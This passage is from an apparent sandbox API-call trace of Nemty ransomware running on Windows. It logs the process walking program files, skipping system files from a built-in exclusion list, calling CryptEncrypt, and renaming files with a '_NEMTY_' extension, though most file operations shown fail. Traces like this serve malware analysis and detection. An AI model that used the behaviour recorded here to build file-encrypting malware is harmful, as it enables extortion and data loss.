lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.013] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.013] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340120, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0087.014] CloseHandle (hObject=0xffffffff) returned 0 [0087.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340290 [0087.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0087.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0087.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0087.014] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6340440 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.014] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0087.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.014] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0087.014] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="...") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="windows") returned -1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="rsa") returned -1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="programdata") returned -1 [0087.015] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="appdata") returned 1 [0087.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0087.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0087.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0087.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0087.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0087.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0087.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0087.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0087.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0087.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 30 [0087.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0087.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94358 [0087.016] Sleep (dwMilliseconds=0x5) [0087.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7855bd0, dwHighDateTime=0x1d561e7)) [0087.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7855bd0, dwHighDateTime=0x1d561e7)) [0087.030] GetLastError () returned 0x5 [0087.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.030] GetLastError () returned 0x5 [0087.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0087.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0087.030] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0087.031] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0087.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0087.031] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="woaIAHLjvkHX7HgnsziFWHKSBvn2g+3p9NnIURg/RQONdh6vX+nZhIx4i0bRZZ3r\r\n2OSeOFFMX/YJefAqZ2WzCvSD5r/tbkkNyiLZB5QKJehxGamJb6rdno0WQ4E1B+eh\r\nl2w5bO7LugG2UpXvzef08Cu+jslfgd0QWf6NprxezmfKKfcUhCkROfnp6oISQYu2\r\nMALsxgASH3J5j7bxGVCMMbHvHj0ha8ScIQNI0IXGqeJGPebUgm/qO7GG8ehSOYZq\r\ndPLGrd/TsQDDqtt2mt9WDux2a2FzkbnMgf72CXpXcIVJRQxSuBBeIYNnBHk+AUW5\r\neVX12C+cy94QnC9Y7UmUiw==\r\n", pcchString=0x653e91c) returned 1 [0087.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0087.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0087.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0087.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0087.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0087.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0087.031] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.031] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0087.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0087.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.041] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.058] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.058] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.058] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.068] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.124] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.124] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.134] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.134] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.134] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0087.146] CloseHandle (hObject=0xffffffff) returned 0 [0087.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0087.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0087.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0087.146] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0087.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0087.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0087.146] 